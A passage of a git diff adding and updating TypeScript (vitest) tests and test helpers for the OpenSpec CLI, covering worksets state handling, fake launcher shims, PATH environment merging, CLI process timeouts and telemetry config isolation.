'store', + store_id: 'team-context', + role: 'openspec_root', + }); + expect(workingSet.members.map((member) => member.id)).toEqual(['up', 'ghost']); + // Fetch recipe only on available references. + expect(workingSet.members[0].fetch).toBe( + 'openspec show <spec-id> --type spec --store up' + ); + expect('fetch' in workingSet.members[1]).toBe(false); + // Availability rule: path AND empty status. + expect(workingSet.members.filter(isAvailableMember).map((m) => m.id)).toEqual(['up']); + // Registry degradation selected by code, never position. + expect(workingSet.status.map((entry) => entry.code)).toEqual([ + 'relationship_registry_unreadable', + ]); + }); + + it('selects the registry diagnostic by code among other status entries', () => { + const workingSet = assembleWorkingSet({ + root, + referenceEntries: [], + topLevelStatus: [warn('root_pointer_ignored'), warn('relationship_registry_unreadable')], + }); + expect(workingSet.status.map((entry) => entry.code)).toEqual([ + 'relationship_registry_unreadable', + ]); + }); + + it('builds the code-workspace view from available members only, in order', () => { + const workingSet = assembleWorkingSet({ + root, + referenceEntries: [ + { store_id: 'up', root: '/up', status: [] }, + { store_id: 'ghost', status: [warn('reference_unresolved')] }, + ], + }); + + const file = JSON.parse(buildCodeWorkspaceJson(workingSet, 'team-context')); + expect(file).toEqual({ + folders: [ + { name: 'team-context', path: '/team/store' }, + { name: 'ref:up', path: '/up' }, + ], + }); + expect(buildCodeWorkspaceJson(workingSet, 'team-context').endsWith('\n')).toBe(true); + }); +}); diff --git a/test/core/worksets.test.ts b/test/core/worksets.test.ts new file mode 100644 index 0000000000..4a58ad70e7 --- /dev/null +++ b/test/core/worksets.test.ts @@ -0,0 +1,335 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + WORKSETS_DIR_NAME, + WORKSETS_FILE_NAME, + buildWorksetCodeWorkspaceJson, + getWorkset, + getWorksetCodeWorkspacePath, + getWorksetsDir, + getWorksetsFilePath, + listWorksets, + memberLabelProblem, + memberListProblem, + parseWorksetsState, + readWorksetsState, + serializeWorksetsState, + updateWorksetsState, + validateWorksetName, + withWorkset, + withWorksetsLock, + withoutWorkset, + type WorksetsState, +} from '../../src/core/worksets.js'; + +describe('worksets core', () => { + let tempDir: string; + let globalDataDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-worksets-')); + globalDataDir = path.join(tempDir, 'data'); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + const options = () => ({ globalDataDir }); + + function memberA() { + return { name: 'team-context', path: path.join(tempDir, 'team-context') }; + } + + function memberB() { + return { name: 'web-app', path: path.join(tempDir, 'web-app') }; + } + + describe('paths', () => { + it('locates everything under <globalDataDir>/worksets/', () => { + expect(getWorksetsDir(options())).toBe( + path.join(globalDataDir, WORKSETS_DIR_NAME) + ); + expect(getWorksetsFilePath(options())).toBe( + path.join(globalDataDir, WORKSETS_DIR_NAME, WORKSETS_FILE_NAME) + ); + expect(getWorksetCodeWorkspacePath('platform', options())).toBe( + path.join(globalDataDir, WORKSETS_DIR_NAME, 'platform.code-workspace') + ); + }); + }); + + describe('name and member validation', () => { + it('accepts kebab names and rejects everything else', () => { + expect(validateWorksetName('platform-2')).toBe('platform-2'); + expect(() => validateWorksetName('My Stuff')).toThrowError( + /must be kebab-case/ + ); + try { + validateWorksetName('My Stuff'); + } catch (error) { + expect((error as { diagnostic: { code: string } }).diagnostic.code).toBe( + 'invalid_workset_name' + ); + } + }); + + it('rejects empty, dotted, and separator-bearing labels', () => { + expect(memberLabelProblem('web-app')).toBeNull(); + expect(memberLabelProblem('Web App')).toBeNull(); + expect(memberLabelProblem('')).toMatch(/must not be empty/); + expect(memberLabelProblem('.')).toMatch(/must not be '\.'/); + expect(memberLabelProblem('a/b')).toMatch(/path separators/); + expect(memberLabelProblem('a\\b')).toMatch(/path separators/); + }); + + it('rejects empty lists, duplicate labels, and relative paths', () => { + expect(memberListProblem([memberA(), memberB()])).toBeNull(); + expect(memberListProblem([])).toMatch(/must not be empty/); + expect( + memberListProblem([memberA(), { ...memberB(), name: 'team-context' }]) + ).toMatch(/duplicate member name 'team-context'/); + expect( + memberListProblem([{ name: 'web', path: 'relative/web' }]) + ).toMatch(/must be absolute/); + }); + }); + + describe('parse and serialize', () => { + it('round-trips a state with sorted names and omitted-when-absent tool', () => { + const state: WorksetsState = { + version: 1, + worksets: { + zeta: { members: [memberA()] }, + alpha: { tool: 'claude', members: [memberA(), memberB()] }, + }, + }; + + const serialized = serializeWorksetsState(state, options()); + const parsed = parseWorksetsState(serialized, options()); + + expect(Object.keys(parsed.worksets)).toEqual(['alpha', 'zeta']); + expect(parsed.worksets.alpha.tool).toBe('claude'); + expect(parsed.worksets.zeta.tool).toBeUndefined(); + expect(serialized).not.toMatch(/tool: null/); + }); + + it('fails the hand-edit contract violations as invalid_workset_file', () => { + const file = getWorksetsFilePath(options()); + const cases: Array<{ content: string; problem: RegExp }> = [ + { content: '{not yaml', problem: /Invalid worksets file/ }, + { + content: 'version: 2\nworksets: {}\n', + problem: /version/, + }, + { + content: `version: 1\nworksets:\n Bad Name:\n members:\n - name: a\n path: ${tempDir}\n`, + problem: /must be kebab-case/, + }, + { + content: 'version: 1\nworksets:\n empty:\n members: []\n', + problem: /members must not be empty/, + }, + { + content: + 'version: 1\nworksets:\n rel:\n members:\n - name: a\n path: relative/path\n', + problem: /must be absolute/, + }, + { + content: `version: 1\nworksets:\n dup:\n members:\n - name: a\n path: ${tempDir}\n - name: a\n path: ${globalDataDir}\n`, + problem: /duplicate member name/, + }, + { + content: `version: 1\nworksets:\n extra:\n unknown: true\n members:\n - name: a\n path: ${tempDir}\n`, + problem: /unknown/i, + }, + ]; + + for (const candidate of cases) { + try { + parseWorksetsState(candidate.content, options()); + expect.unreachable(`expected failure for: ${candidate.content}`); + } catch (error) { + const diagnostic = ( + error as { diagnostic: { code: string; message: string; fix?: string } } + ).diagnostic; + expect(diagnostic.code).toBe('invalid_workset_file'); + expect(diagnostic.message).toMatch(candidate.problem); + expect(diagnostic.fix).toBe(`Repair or remove ${file}.`); + } + } + }); + + it('parses an unknown tool string without validating it', () => { + const content = `version: 1\nworksets:\n alpha:\n tool: deleted-tool\n members:\n - name: a\n path: ${tempDir}\n`; + + const parsed = parseWorksetsState(content, options()); + + expect(parsed.worksets.alpha.tool).toBe('deleted-tool'); + }); + }); + + describe('state rebuilds', () => { + it('adds, lists, gets, and removes worksets', () => { + const empty: WorksetsState = { version: 1, worksets: {} }; + const withOne = withWorkset(empty, { + name: 'platform', + tool: 'claude', + members: [memberA(), memberB()], + }); + + expect(listWorksets(withOne).map((workset) => workset.name)).toEqual([ + 'platform', + ]); + expect(getWorkset(withOne, 'platform')?.tool).toBe('claude'); + expect(getWorkset(withOne, 'absent')).toBeNull(); + + const removed = withoutWorkset(withOne, 'platform'); + expect(listWorksets(removed)).toEqual([]); + }); + + it('rejects duplicate names with a remove fix', () => { + const state = withWorkset( + { version: 1, worksets: {} }, + { name: 'platform', members: [memberA()] } + ); + + try { + withWorkset(state, { name: 'platform', members: [memberB()] }); + expect.unreachable('expected workset_exists'); + } catch (error) { + const diagnostic = ( + error as { diagnostic: { code: string; fix?: string } } + ).diagnostic; + expect(diagnostic.code).toBe('workset_exists'); + expect(diagnostic.fix).toBe( + 'Choose another name, or remove it first: openspec workset remove platform' + ); + } + }); + + it('reports unknown names with saved names or the create command', () => { + const state = withWorkset( + { version: 1, worksets: {} }, + { name: 'platform', members: [memberA()] } + ); + + try { + withoutWorkset(state, 'absent'); + expect.unreachable('expected workset_not_found'); + } catch (error) { + const diagnostic = ( + error as { diagnostic: { code: string; fix?: string } } + ).diagnostic; + expect(diagnostic.code).toBe('workset_not_found'); + expect(diagnostic.fix).toBe( + 'Saved worksets: platform. See them with: openspec workset list' + ); + } + + try { + withoutWorkset({ version: 1, worksets: {} }, 'absent'); + expect.unreachable('expected workset_not_found'); + } catch (error) { + const diagnostic = ( + error as { diagnostic: { fix?: string } } + ).diagnostic; + expect(diagnostic.fix).toBe( + 'Create it first: openspec workset create absent' + ); + } + }); + }); + + describe('file IO', () => { + it('reads the empty state when no file exists', async () => { + expect(await readWorksetsState(options())).toEqual({ + version: 1, + worksets: {}, + }); + }); + + it('updates the state under the lock and reads it back', async () => { + await updateWorksetsState( + (state) => + withWorkset(state, { + name: 'platform', + tool: 'code', + members: [memberA()], + }), + options() + ); + + const state = await readWorksetsState(options()); + expect(getWorkset(state, 'platform')?.members).toEqual([memberA()]); + expect( + fs.existsSync(`${getWorksetsFilePath(options())}.lock`) + ).toBe(false); + }); + + it('withWorksetsLock reads without writing the file back', async () => { + await updateWorksetsState( + (state) => withWorkset(state, { name: 'platform', members: [memberA()] }), + options() + ); + const before = fs.readFileSync(getWorksetsFilePath(options()), 'utf-8'); + const beforeStat = fs.statSync(getWorksetsFilePath(options())); + + const seen = await withWorksetsLock( + (state) => listWorksets(state).map((workset) => workset.name), + options() + ); + + expect(seen).toEqual(['platform']); + expect(fs.readFileSync(getWorksetsFilePath(options()), 'utf-8')).toBe( + before + ); + expect(fs.statSync(getWorksetsFilePath(options())).mtimeMs).toBe( + beforeStat.mtimeMs + ); + expect( + fs.existsSync(`${getWorksetsFilePath(options())}.lock`) + ).toBe(false); + }); + + it('surfaces a corrupt file from every reader', async () => { + fs.mkdirSync(getWorksetsDir(options()), { recursive: true }); + fs.writeFileSync(getWorksetsFilePath(options()), '{broken'); + + await expect(readWorksetsState(options())).rejects.toMatchObject({ + diagnostic: { code: 'invalid_workset_file' }, + }); + await expect( + updateWorksetsState((state) => state, options()) + ).rejects.toMatchObject({ + diagnostic: { code: 'invalid_workset_file' }, + }); + // The corrupt file is never auto-deleted or rewritten. + expect(fs.readFileSync(getWorksetsFilePath(options()), 'utf-8')).toBe( + '{broken' + ); + }); + }); + + describe('code-workspace builder', () => { + it('emits folders in member order with two-space JSON and a trailing newline', () => { + const json = buildWorksetCodeWorkspaceJson([memberA(), memberB()]); + + expect(json).toBe( + JSON.stringify( + { + folders: [ + { name: 'team-context', path: memberA().path }, + { name: 'web-app', path: memberB().path }, + ], + }, + null, + 2 + ) + '\n' + ); + }); + }); +}); diff --git a/test/helpers/fake-tool.ts b/test/helpers/fake-tool.ts new file mode 100644 index 0000000000..06a3526b60 --- /dev/null +++ b/test/helpers/fake-tool.ts @@ -0,0 +1,66 @@ +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +import { withPrependedPathEnv } from './path-env.js'; + +/** + * Fake opener executables for workset launch tests (resurrected from + * the f858c19^ workspace-open pattern). Each fake records its cwd and + * argv to its own JSON log instead of opening anything; an optional + * exit code exercises the honest-propagation contract. Paths are baked + * into each shim so several fakes can sit on PATH at once. + */ + +export interface FakeTool { + binDir: string; + logPath: string; +} + +export function createFakeTool( + tempDir: string, + name: string, + options: { exitCode?: number } = {} +): FakeTool { + const binDir = path.join(tempDir, `fake-${name}-bin`); + const logPath = path.join(tempDir, `${name}-launch.json`); + const recorderPath = path.join(binDir, 'record-launch.cjs'); + const exitCode = options.exitCode ?? 0; + fs.mkdirSync(binDir, { recursive: true }); + fs.writeFileSync( + recorderPath, + "const fs = require('node:fs');\n" + + `fs.writeFileSync(${JSON.stringify(logPath)}, JSON.stringify({ cwd: process.cwd(), args: process.argv.slice(2) }));\n` + + `process.exit(${exitCode});\n` + ); + + const posixExecutable = path.join(binDir, name); + fs.writeFileSync( + posixExecutable, + `#!/bin/sh\nexec node ${JSON.stringify(recorderPath)} "$@"\n` + ); + fs.chmodSync(posixExecutable, 0o755); + fs.writeFileSync( + path.join(binDir, `${name}.cmd`), + `@echo off\r\nnode "${recorderPath}" %*\r\n` + ); + + return { binDir, logPath }; +} + +export function envWithFakeTools( + baseEnv: NodeJS.ProcessEnv, + fakes: FakeTool[] +): NodeJS.ProcessEnv { + let env = { ...baseEnv }; + for (const fake of fakes) { + env = withPrependedPathEnv(env, fake.binDir); + } + return env; +} + +export function readLaunchLog(logPath: string): { + cwd: string; + args: string[]; +} { + return JSON.parse(fs.readFileSync(logPath, 'utf-8')); +} diff --git a/test/helpers/fs-snapshot.ts b/test/helpers/fs-snapshot.ts new file mode 100644 index 0000000000..ba5791dee8 --- /dev/null +++ b/test/helpers/fs-snapshot.ts @@ -0,0 +1,31 @@ +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +/** + * Relpath→content map of a directory tree. Directories are recorded too + * (as `<relpath>/` entries) so a command deleting an empty subdirectory + * cannot pass a byte-identity check. + */ +export function snapshotDirectory(root: string): Map<string, string> { + const snapshot = new Map<string, string>(); + + // Keys are POSIX-normalized so assertions like has('openspec/...') + // behave identically on Windows (test/AGENTS.md). + const relKey = (fullPath: string): string => + path.relative(root, fullPath).split(path.sep).join('/'); + + const walk = (dir: string): void => { + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const fullPath = path.join(dir, entry.name); + if (entry.isDirectory()) { + snapshot.set(`${relKey(fullPath)}/`, ''); + walk(fullPath); + } else if (entry.isFile()) { + snapshot.set(relKey(fullPath), fs.readFileSync(fullPath, 'utf-8')); + } + } + }; + + walk(root); + return snapshot; +} diff --git a/test/helpers/openspec-fixtures.ts b/test/helpers/openspec-fixtures.ts new file mode 100644 index 0000000000..e0eb51d464 --- /dev/null +++ b/test/helpers/openspec-fixtures.ts @@ -0,0 +1,16 @@ +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +/** Minimal healthy OpenSpec root layout shared by slice test suites. */ +export function createOpenSpecRoot(rootDir: string): void { + fs.mkdirSync(path.join(rootDir, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(rootDir, 'openspec', 'changes', 'archive'), { recursive: true }); + fs.writeFileSync(path.join(rootDir, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); +} + +/** Writes a spec file under the root's openspec/specs/<id>/spec.md. */ +export function writeSpec(rootDir: string, specId: string, body: string): void { + const specDir = path.join(rootDir, 'openspec', 'specs', specId); + fs.mkdirSync(specDir, { recursive: true }); + fs.writeFileSync(path.join(specDir, 'spec.md'), body); +} diff --git a/test/helpers/path-env.ts b/test/helpers/path-env.ts new file mode 100644 index 0000000000..75d44af41f --- /dev/null +++ b/test/helpers/path-env.ts @@ -0,0 +1,30 @@ +import * as path from 'node:path'; + +function pathEnvKey(env: NodeJS.ProcessEnv): string { + return Object.keys(env).find((key) => key.toLowerCase() === 'path') ?? 'PATH'; +} + +/** + * Prepends a directory to the env's PATH. The key is chosen from the + * base env FIRST (falling back to the host's key) so a test that pins + * a controlled `PATH` never gains a second case-variant key seeded + * from the host's real value (win32 hazard: duplicate Path/PATH with + * undefined precedence in the child). + */ +export function withPrependedPathEnv( + baseEnv: NodeJS.ProcessEnv, + dir: string +): NodeJS.ProcessEnv { + const baseHasPathKey = Object.keys(baseEnv).some( + (key) => key.toLowerCase() === 'path' + ); + const key = baseHasPathKey ? pathEnvKey(baseEnv) : pathEnvKey(process.env); + return { + ...baseEnv, + [key]: prependPathValue(dir, baseEnv[key] ?? process.env[key]), + }; +} + +function prependPathValue(dir: string, currentPath: string | undefined): string { + return currentPath ? `${dir}${path.delimiter}${currentPath}` : dir; +} diff --git a/test/helpers/run-cli.ts b/test/helpers/run-cli.ts index 69d67df7f2..3c0cf43f77 100644 --- a/test/helpers/run-cli.ts +++ b/test/helpers/run-cli.ts @@ -1,5 +1,6 @@ -import { spawn } from 'child_process'; -import { existsSync } from 'fs'; +import { type ChildProcess, spawn } from 'child_process'; +import { existsSync, promises as fs } from 'fs'; +import os from 'os'; import path from 'path'; import { fileURLToPath } from 'url'; @@ -8,8 +9,10 @@ const __dirname = path.dirname(__filename); const projectRoot = path.resolve(__dirname, '..', '..'); const cliEntry = path.join(projectRoot, 'dist', 'cli', 'index.js'); +const DEFAULT_CLI_TIMEOUT_MS = 30_000; let buildPromise: Promise<void> | undefined; +const activeCliChildren = new Set<ChildProcess>(); interface RunCommandOptions { cwd?: string; @@ -53,6 +56,65 @@ function runCommand(command: string, args: string[], options: RunCommandOptions }); } +function mergeEnv( + ...sources: Array<NodeJS.ProcessEnv | undefined> +): NodeJS.ProcessEnv { + const merged: NodeJS.ProcessEnv = {}; + + for (const source of sources) { + if (!source) continue; + for (const [key, value] of Object.entries(source)) { + if (value === undefined) continue; + + if (process.platform === 'win32') { + const existingKey = Object.keys(merged).find( + (candidate) => candidate.toLowerCase() === key.toLowerCase() + ); + if (existingKey && existingKey !== key) { + delete merged[existingKey]; + } + } + + merged[key] = value; + } + } + + return merged; +} + +function terminateProcessTree(child: ChildProcess): void { + if (!child.pid || child.killed) { + return; + } + + if (process.platform === 'win32') { + spawn('taskkill', ['/pid', String(child.pid), '/t', '/f'], { + stdio: 'ignore', + windowsHide: true, + }).on('error', () => { + child.kill('SIGKILL'); + }); + return; + } + + try { + process.kill(-child.pid, 'SIGKILL'); + } catch { + child.kill('SIGKILL'); + } +} + +function formatOutputTail(output: string): string { + const lines = output.trimEnd().split(/\r?\n/); + return lines.slice(-20).join('\n'); +} + +export function terminateActiveCliChildren(): void { + for (const child of activeCliChildren) { + terminateProcessTree(child); + } +} + export async function ensureCliBuilt() { if (existsSync(cliEntry)) { return; @@ -77,32 +139,42 @@ export async function runCLI(args: string[] = [], options: RunCLIOptions = {}): const finalArgs = Array.isArray(args) ? args : [args]; const invocation = [cliEntry, ...finalArgs].join(' '); + const explicitConfigHome = options.env?.XDG_CONFIG_HOME; + const isolatedConfigHome = + explicitConfigHome !== undefined + ? undefined + : await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-cli-config-')); return new Promise<RunCLIResult>((resolve, reject) => { + const timeoutMs = options.timeoutMs ?? DEFAULT_CLI_TIMEOUT_MS; const child = spawn(process.execPath, [cliEntry, ...finalArgs], { cwd: options.cwd ?? projectRoot, - env: { - ...process.env, - OPEN_SPEC_INTERACTIVE: '0', - ...options.env, - }, + env: mergeEnv( + process.env, + { + OPENSPEC_TELEMETRY: '0', + OPEN_SPEC_INTERACTIVE: '0', + XDG_CONFIG_HOME: explicitConfigHome ?? isolatedConfigHome, + }, + options.env + ), stdio: ['pipe', 'pipe', 'pipe'], + detached: process.platform !== 'win32', windowsHide: true, }); // Prevent child process from keeping the event loop alive child.unref(); + activeCliChildren.add(child); let stdout = ''; let stderr = ''; let timedOut = false; - const timeout = options.timeoutMs - ? setTimeout(() => { - timedOut = true; - child.kill('SIGKILL'); - }, options.timeoutMs) - : undefined; + const timeout = setTimeout(() => { + timedOut = true; + terminateProcessTree(child); + }, timeoutMs); child.stdout?.setEncoding('utf-8'); child.stdout?.on('data', (chunk) => { @@ -115,7 +187,8 @@ export async function runCLI(args: string[] = [], options: RunCLIOptions = {}): }); child.on('error', (error) => { - if (timeout) clearTimeout(timeout); + clearTimeout(timeout); + activeCliChildren.delete(child); // Explicitly destroy streams to prevent hanging handles child.stdout?.destroy(); child.stderr?.destroy(); @@ -124,11 +197,26 @@ export async function runCLI(args: string[] = [], options: RunCLIOptions = {}): }); child.on('close', (code, signal) => { - if (timeout) clearTimeout(timeout); + clearTimeout(timeout); + activeCliChildren.delete(child); // Explicitly destroy streams to prevent hanging handles child.stdout?.destroy(); child.stderr?.destroy(); child.stdin?.destroy(); + if (timedOut) { + reject( + new Error( + [ + `CLI command timed out after ${timeoutMs}ms: node ${invocation}`, + stderr ? `stderr tail:\n${formatOutputTail(stderr)}` : '', + stdout ? `stdout tail:\n${formatOutputTail(stdout)}` : '', + ] + .filter(Boolean) + .join('\n\n') + ) + ); + return; + } resolve({ exitCode: code, signal, @@ -144,6 +232,11 @@ export async function runCLI(args: string[] = [], options: RunCLIOptions = {}): } else if (child.stdin) { child.stdin.end(); } + }).finally(async () => { + if (isolatedConfigHome) { + // Never let cleanup replace the CLI result or a genuine CLI failure. + await fs.rm(isolatedConfigHome, { recursive: true, force: true }).catch(() => {}); + } }); } diff --git a/test/helpers/store-git.ts b/test/helpers/store-git.ts new file mode 100644 index 0000000000..ff4d5b1054 --- /dev/null +++ b/test/helpers/store-git.ts @@ -0,0 +1,33 @@ +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +import { DEFAULT_OPENSPEC_SCHEMA } from '../../src/core/index.js'; + +/** + * Shared fixtures for store tests that touch real Git. + */ + +export function createHealthyOpenSpecRoot(root: string, configName = 'config.yaml'): void { + fs.mkdirSync(path.join(root, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(root, 'openspec', 'changes', 'archive'), { recursive: true }); + fs.writeFileSync(path.join(root, 'openspec', configName), `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n`); +} + +/** + * Isolates real git invocations from the host's gitconfig (signing, hooks, + * templates) and provides a deterministic commit identity. + */ +export function isolatedGitEnv(tempDir: string): NodeJS.ProcessEnv { + const emptyConfig = path.join(tempDir, 'gitconfig-empty'); + if (!fs.existsSync(emptyConfig)) { + fs.writeFileSync(emptyConfig, ''); + } + return { + GIT_CONFIG_GLOBAL: emptyConfig, + GIT_CONFIG_SYSTEM: emptyConfig, + GIT_AUTHOR_NAME: 'Store Tester', + GIT_AUTHOR_EMAIL: 'tester@example.com', + GIT_COMMITTER_NAME: 'Store Tester', + GIT_COMMITTER_EMAIL: 'tester@example.com', + }; +} diff --git a/test/helpers/temp-cleanup.ts b/test/helpers/temp-cleanup.ts new file mode 100644 index 0000000000..d1ffd1e58a --- /dev/null +++ b/test/helpers/temp-cleanup.ts @@ -0,0 +1,14 @@ +import * as fs from 'node:fs'; + +export function cleanupTempPath(target: string | undefined): void { + if (!target) { + return; + } + + fs.rmSync(target, { + recursive: true, + force: true, + maxRetries: 5, + retryDelay: 100, + }); +} diff --git a/test/pnpm-workspace-config.test.ts b/test/pnpm-workspace-config.test.ts new file mode 100644 index 0000000000..d8313478e0 --- /dev/null +++ b/test/pnpm-workspace-config.test.ts @@ -0,0 +1,65 @@ +import fs from 'fs'; +import path from 'path'; +import { describe, expect, it } from 'vitest'; +import { parse } from 'yaml'; + +const projectRoot = process.cwd(); + +function readJson(relativePath: string): Record<string, any> { + return JSON.parse(fs.readFileSync(path.join(projectRoot, relativePath), 'utf8')); +} + +function readYaml(relativePath: string): Record<string, any> { + return parse(fs.readFileSync(path.join(projectRoot, relativePath), 'utf8')); +} + +describe('pnpm workspace configuration', () => { + it('keeps root build approval and security overrides compatible across pnpm versions', () => { + const packageJson = readJson('package.json'); + const lockfile = readYaml('pnpm-lock.yaml'); + const workspace = readYaml('pnpm-workspace.yaml'); + const esbuildVersions = Object.keys(lockfile.packages) + .filter((key) => key.startsWith('esbuild@')) + .map((key) => key.slice('esbuild@'.length)); + + expect(workspace.packages).toEqual(['.']); + expect(packageJson.pnpm.onlyBuiltDependencies).toEqual(['esbuild']); + expect(esbuildVersions).toHaveLength(1); + expect(workspace.allowBuilds).toEqual({ + [`esbuild@${esbuildVersions[0]}`]: true, + }); + expect(workspace.overrides).toEqual(packageJson.pnpm.overrides); + expect(workspace.overrides).toEqual(lockfile.overrides); + }); + + it('keeps the website as an independently locked project', () => { + const packageJson = readJson('website/package.json'); + const lockfile = readYaml('website/pnpm-lock.yaml'); + const workspace = readYaml('website/pnpm-workspace.yaml'); + const esbuildVersions = Object.keys(lockfile.packages) + .filter((key) => key.startsWith('esbuild@')) + .map((key) => key.slice('esbuild@'.length)); + + expect(workspace.packages).toEqual(['.']); + expect(packageJson.pnpm.onlyBuiltDependencies).toEqual(['esbuild']); + expect(esbuildVersions).toHaveLength(1); + expect(workspace.allowBuilds).toEqual({ + [`esbuild@${esbuildVersions[0]}`]: true, + }); + expect(workspace.overrides).toEqual(packageJson.pnpm.overrides); + expect(workspace.overrides).toEqual(lockfile.overrides); + }); + + it('includes install policy changes in Nix and security validation', () => { + const flake = fs.readFileSync(path.join(projectRoot, 'flake.nix'), 'utf8'); + const ci = fs.readFileSync(path.join(projectRoot, '.github/workflows/ci.yml'), 'utf8'); + const security = fs.readFileSync( + path.join(projectRoot, '.github/workflows/security.yml'), + 'utf8' + ); + + expect(flake).toContain('./pnpm-workspace.yaml'); + expect(ci).toContain("- 'pnpm-workspace.yaml'"); + expect(security).toContain("- '**/pnpm-workspace.yaml'"); + }); +}); diff --git a/test/prompts/searchable-multi-select.test.ts b/test/prompts/searchable-multi-select.test.ts index 99971a9c77..3e212f0f93 100644 --- a/test/prompts/searchable-multi-select.test.ts +++ b/test/prompts/searchable-multi-select.test.ts @@ -207,6 +207,32 @@ describe('searchable-multi-select keybindings', () => { }); }); + describe('checkbox markers', () => { + it('should render unselected items with [ ] and no radio symbols', async () => { + await setup(); + expect(renderOutput).toContain('[ ]'); + expect(renderOutput).not.toContain('◉'); + expect(renderOutput).not.toContain('○'); + }); + + it('should render selected items with [x]', async () => { + await setup(); + pressKey('space'); + expect(renderOutput).toContain('[x]'); + }); + + it('should revert to [ ] when the item is deselected', async () => { + await setup(); + pressKey('space'); + expect(renderOutput).toContain('[x]'); + pressKey('space'); + expect(renderOutput).not.toContain('[x]'); + expect(renderOutput).toContain('[ ]'); + expect(renderOutput).not.toContain('◉'); + expect(renderOutput).not.toContain('○'); + }); + }); + describe('hint text', () => { it('should include Space toggle and Enter confirm in rendered output', async () => { await setup(); diff --git a/test/specs/source-specs-normalization.test.ts b/test/specs/source-specs-normalization.test.ts index 1169e8a26a..2611a85f9d 100644 --- a/test/specs/source-specs-normalization.test.ts +++ b/test/specs/source-specs-normalization.test.ts @@ -35,6 +35,39 @@ async function getSpecFiles(): Promise<string[]> { } describe('source-of-truth specs normalization', () => { + it('reports duplicate canonical requirement names', () => { + const content = [ + '# Capability', + '', + '## Purpose', + 'A purpose.', + '', + '## Requirements', + '', + '### Requirement: Same name', + 'The first definition.', + '', + '#### Scenario: First', + '- **WHEN** something happens', + '- **THEN** the first result occurs', + '', + '### Requirement: Same name', + 'The second definition.', + '', + '#### Scenario: Second', + '- **WHEN** something else happens', + '- **THEN** the second result occurs', + '', + ].join('\n'); + + expect(findMainSpecStructureIssues(content)).toEqual([ + expect.objectContaining({ + kind: 'duplicate-requirement', + message: expect.stringContaining('Same name'), + }), + ]); + }); + it('enforces required sections and bans hidden requirements, placeholders, and delta headers', async () => { const files = await getSpecFiles(); expect(files.length).toBeGreaterThan(0); diff --git a/test/telemetry/config.test.ts b/test/telemetry/config.test.ts index ef5726621e..383eedb6a1 100644 --- a/test/telemetry/config.test.ts +++ b/test/telemetry/config.test.ts @@ -2,7 +2,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; -import { randomUUID } from 'node:crypto'; import { getConfigPath, @@ -35,8 +34,7 @@ describe('telemetry/config', () => { beforeEach(() => { // Create temp directory for tests - tempDir = path.join(os.tmpdir(), `openspec-telemetry-test-${randomUUID()}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-telemetry-test-')); // Mock HOME/USERPROFILE to point to temp dir // On POSIX, os.homedir() uses HOME; on Windows it uses USERPROFILE @@ -294,5 +292,43 @@ describe('telemetry/config', () => { expect(parsed.telemetry.anonymousId).toBe('existing-id'); expect(parsed.telemetry.noticeSeen).toBe(true); }); + + it('should preserve anonymousId and noticeSeen when setting enabled', async () => { + const configDir = defaultConfigDir(); + const configPath = defaultConfigPath(); + + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync(configPath, JSON.stringify({ + telemetry: { anonymousId: 'keep-id', noticeSeen: true }, + })); + + await updateTelemetryConfig({ enabled: false }); + + const parsed = JSON.parse(fs.readFileSync(configPath, 'utf-8')); + expect(parsed.telemetry).toEqual({ + anonymousId: 'keep-id', + noticeSeen: true, + enabled: false, + }); + }); + + it('should preserve enabled when updating noticeSeen', async () => { + const configDir = defaultConfigDir(); + const configPath = defaultConfigPath(); + + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync(configPath, JSON.stringify({ + telemetry: { enabled: false, anonymousId: 'keep-id' }, + })); + + await updateTelemetryConfig({ noticeSeen: true }); + + const parsed = JSON.parse(fs.readFileSync(configPath, 'utf-8')); + expect(parsed.telemetry).toEqual({ + enabled: false, + anonymousId: 'keep-id', + noticeSeen: true, + }); + }); }); }); diff --git a/test/telemetry/index.test.ts b/test/telemetry/index.test.ts index 73b050a286..b3b21f7aa9 100644 --- a/test/telemetry/index.test.ts +++ b/test/telemetry/index.test.ts @@ -2,21 +2,8 @@ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; -import { randomUUID } from 'node:crypto'; - -// Mock posthog-node before importing the module -vi.mock('posthog-node', () => { - return { - PostHog: vi.fn().mockImplementation(() => ({ - capture: vi.fn(), - shutdown: vi.fn().mockResolvedValue(undefined), - })), - }; -}); -// Import after mocking import { isTelemetryEnabled, maybeShowTelemetryNotice, shutdown, trackCommand } from '../../src/telemetry/index.js'; -import { PostHog } from 'posthog-node'; describe('telemetry/index', () => { let tempDir: string; @@ -26,21 +13,26 @@ describe('telemetry/index', () => { beforeEach(() => { // Create unique temp directory for each test using UUID - tempDir = path.join(os.tmpdir(), `openspec-telemetry-test-${randomUUID()}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-telemetry-test-')); // Save original env originalEnv = { ...process.env }; - // Mock HOME to point to temp dir + // Isolate global config to the temp dir via XDG (same path getGlobalConfig uses) + process.env.XDG_CONFIG_HOME = tempDir; process.env.HOME = tempDir; + process.env.USERPROFILE = tempDir; + process.env.APPDATA = path.join(tempDir, 'appdata'); // Clear all mocks vi.clearAllMocks(); // Spy on console.log for notice tests consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); - fetchSpy = 